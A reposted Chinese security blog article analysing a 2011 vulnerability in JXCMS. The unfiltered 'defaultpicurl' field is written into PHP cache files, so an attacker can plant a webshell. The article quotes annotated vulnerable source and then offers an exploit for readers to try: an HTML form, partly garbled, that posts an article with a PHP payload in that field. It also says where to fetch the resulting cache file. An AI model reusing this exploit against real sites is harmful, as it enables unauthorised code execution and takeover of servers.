JXCMS 0day 生成缓存文件时变量未处理导致直接写 WebShell

admin 2021年4月3日19:36:54评论49 views字数 6891阅读22分58秒阅读模式

    By:匿名他ID就叫匿名),JXCMS 0day,JXCMS 生成缓存文件时变量未处理导致直接写 WebShell,脚本漏洞。

    精迅CMS(Jxcms)是基于采用网络中已经成熟、稳定的技术PHP+MYSQL开发而成,利用本系统您可以很方便地管理自己的网站。本系统是一款由文章模型、采集管理、广告系统、会员中心、友情链接、公告、单网页、数据备份还原等多个强大功能模块组合而成的强大、易用、扩展性强的开源网站管理软件。

    我们以精益求精的态度,追求卓越品质,为中小网站用户提供一套完美的迅速建站解决方案,我们在开发过程中无处不充分考虑用户的使用习惯,尽最大可能降低用户的使用门槛,让用户关注于内容维护本身,而不需要投入过多的时间来学习系统的使用技巧,在细节处下大工夫。

    Jxcms目前只有一个文章模型,但已有的功能模块都努力做到精益求精,追求完美,Jxcms的模板对于用户非常友好,打开模板文件就能看到完美的模板界面(非独立模板需要把head和foot还原到相应的文件中),非常适合于建设一般企业、政府、学校、个人等中小型网站。

    官方的介绍。

    官方:看标题你就了解。

    下面直接分析代码和附上exp

    生成缓存文件时调用了tag_list函数,函数中有处变量因为没有受到任何处理,导致返回的值完整的写入到缓存文件中,如果构造对应的exp,哪么就可以控制那处变量写入一个webshell到目标服务器上。

Includetags.func.php:

unction tag_list($type = 'new', $rows = 8, $catid = 0, $keywords = '', $page = 0, $outid = 0, $hotday = 0, $catrule = '') {
        if ($type == 'like' && empty($keywords))return array();
        $cachename = "list_{$type}_{$rows}";
        $cachedir = $catid ? $catid : 'base';
        $page && $cachename .= "_{$page}";
        $outid && $cachename .= "_{$outid}";
        $hotday && $cachename .= "_{$hotday}";
        $catrule && $cachename .= '_' . str_replace(':', '', $catrule);
        $data = $type == 'like' || !CACHE ? false : cache_read($cachename, $cachedir, CACHE_TAGS_TTL); //一些内容不用缓存,避免缓存文件数过多
        if ($data === false) {
                $ename = get_model($catid, 'ename');
                $data = $GLOBALS['tags_' . $ename] -> tag_list($type, $rows, $catid, 0, $keywords, $page, $outid, $hotday, $catrule); // 传入 tag_list() 返回结果
                $type != 'like' && CACHE && cache_write($cachename, $data, $cachedir); // $data 控制输出内容, $cachename 做了$data 的文件名称.
        }
        return $data;
}

    这是最关心的地方,需要确保$data里有我们的代码,并且想办法执行它。不过tag_list还有一个弟弟,也叫tag_list。

    -------------------分割线-------------------跟踪~~~

articlearticle.class.php:

function tag_list($type = 'new', $rows = 8, $catid = 0, $onlypic = 0, $keywords = '', $page = 0, $outid = 0, $hotday = 0, $catrule = '') {
                $res = array();
                $data = $this -> get_data($type, $catid, $keywords, $rows, $onlypic, $page, $outid, $hotday, $catrule);
                $i = 1;
                while ($tmp = $this -> db -> fetch_array($data)) { // 取出的结果 遍历
                        $contenturl = 'article.php?id=' . $tmp['id'];
                        $categoryurl = 'list.php?catid=' . $tmp['catid'];
                        if ($this -> ishtml) {
                                $htmldir = getcontenthtmldir($tmp['catid']); // 后台设置生成内容页html保存的目录
                                $categoryurl = $this -> cat_s[$tmp['catid']]['dir'] . '/';
                                $contenturl = gethtmlname($contenturl, $tmp['addtime'], $this -> htmlnametype, $this -> htmldirtype, $htmldir);
                        }
                        $tmpcolor = $tmp['color'] ? ' style="color:' . $tmp['color'] . '"' : ''; // !
                        if (empty($tmp['description']) && $GLOBALS['set_cutedeslen']) {
                                $tmp['description'] = tag_description($tmp['content'], $GLOBALS['set_cutedeslen'], 1); //!
                        }
                       
                        if ($tmp['defaultpicurl']) {
                                $imgurl = strstr($tmp['defaultpicurl'], '://') ? $tmp['defaultpicurl'] : $this -> rootdir . $tmp['defaultpicurl'];
                        } else $imgurl = '';
                       
                        $res[$i] = array('catname' => $this -> cat_s[$tmp['catid']]['name'], 'caturl' => $this -> rootdir . $categoryurl, 'url' => $this -> rootdir . $contenturl, 'imgurl' => $imgurl, 'title' => shtmlspecialchars($tmp['title']), 'color' => $tmpcolor, 'time' => $tmp['updatetime'], 'description' => $tmp['description']); // 这里imgurl, title, description ,都是可以控制的。
                        $i++;
                       
                }
                $page && $res = array('list' => $res, 'pages' => $this -> pages);
                return $res;
        }

article/article.class.php function check() 回溯:

function check($info, $uselinkurl, $cutedes) {
                global $set_titlelen, $set_contentlen, $gcat_s, $charset, $set_cutedeslen;
                $charset = strtolower($charset);
                $info['title'] = trim($info['title']);
                if (empty($info['title'])) {
                        $this -> msg = $this -> lang['title_empty'];
                        return false;
                } else {
                        $info['title'] = shtmlspecialchars($info['title']);
                        $len = $charset == 'utf-8' ? utf8_strlen($info['title']) : strlen($info['title']);
                        if ($len $set_titlelen[1]) {
                                $this -> msg = $this -> lang['title_length_error'];
                                return false;
                        }
                }
                if (!defined('JXCMS_ADMIN')) {
                        $info['content'] = fbword(RemoveXSS($info['content'])); //RemoveXss 是一个自定义过滤函数,目前还没办法绕过.
                        $info['title'] = fbword($info['title']);
                        isset($info['description']) && $info['description'] = fbword($info['description']);
                }
                $len = $charset == 'utf-8' ? utf8_strlen($info['content']) : strlen($info['content']);
                if (!$uselinkurl && ($len > $set_contentlen[1] or $len
                        $this -> msg = $this -> lang['content_length_error'];
                        return false;
                }
                $info['catid'] = intval($info['catid']);
                $tmp = &$gcat_s[$info['catid']];
                if ($tmp['model'] == 0 or $tmp['isparent'] == 1) {
                        $this -> msg = $this -> lang['cate_error'];
                        return false;
                }
                if (isset($info['description'])) $info['description'] = strip_tags($info['description']); //strip_tags 函数以为能用evevalal这样来试着绕过,但是定界符用的小于号被删掉了。这样代码规范就不完整了。
                elseif (!empty($info['content']) && $set_cutedeslen && $cutedes) {
                        $tmp = strip_tags($info['content']);
                        $info['description'] = tag_cut($tmp, $set_cutedeslen);
                }

    虽然过滤掉了几个比较重要的字段,不过还不是很完整, 如果要利用上面的缓存文件写入我们的Shell, 他们漏掉了[defaultpicurl]。

    所以只要控制了defaultpicurl 就能有办法写入我们的代码.

    具体怎么利用,这里给出了一个exp供大家测试。提交完成后。等管理员审核完文章后。在前台访问曾发布过的文章。

    然后访问 http://127.0.0.1/cache/目录/list_new_10.php。测试之后发现了几个问题,hash值,每个电脑不一样,http://127.0.0.1/post.php

JXCMS 0day JXCMS 生成缓存文件时变量未处理导致直接写 WebShell - 脚本漏洞

    红色标记了。

    -----------------分割线-----------------------

    下面就是exp,红色部分是需要修改。

   

* 验证码:
        

 localhost/captcha.php" id="code_img" align="absmiddle" title="看不清?点击更换验证码">
    

    

     http://127.0.0.1/cache/目录/list_new_10.php
   

  

Exp:



JxCms Exp

#Date 2011.9.28


#Team : 和谐小组


#Author:欧欧

    

localhost/post.php?action=addarticle" method="post" name="myform"> 
6fb0d7934c82ea5" />   


    

    

*目录:http://127.0.0.1/cache/目录/list_new_10.php

    

         
         

   

   


    

* 标  题:

    

   

   


    

*内容:
最多1000000个英文字符

    

   

      


    

 

    

Code: " name="info[defaultpicurl]" id="defaultpicurl" size="25">

    ------------------------------无敌分割线------------------------------

    内容最后不要乱写。code phpinfo(); 不会在后台的内容显示,所以放心,如果你改成 "><?php phpinfo();?><  后台的修改确认会出一点小问题。大家自由发挥。

    效果图:

JXCMS 0day JXCMS 生成缓存文件时变量未处理导致直接写 WebShell - 脚本漏洞

    写完不容易,有错误或者解释不详细,还请多多指教,毕竟是新手。

文章来源于lcx.cc:JXCMS 0day 生成缓存文件时变量未处理导致直接写 WebShell

相关推荐: 【漏洞】BeeSns 微博 V0.2 0day

发布作者:子仪 影响版本:BeeSns V0.2 官方地址:http://www.beesns.com/ 漏洞类型:权限提升 漏洞分析:     IP过滤不严,导致用户可以提交恶意参数提升自身权限。这套微博系统风格挺不错的,个人比较喜欢,看代码是发现一些问题,…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:36:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JXCMS 0day 生成缓存文件时变量未处理导致直接写 WebShellhttps://cn-sec.com/archives/323909.html

发表评论

匿名网友 填写信息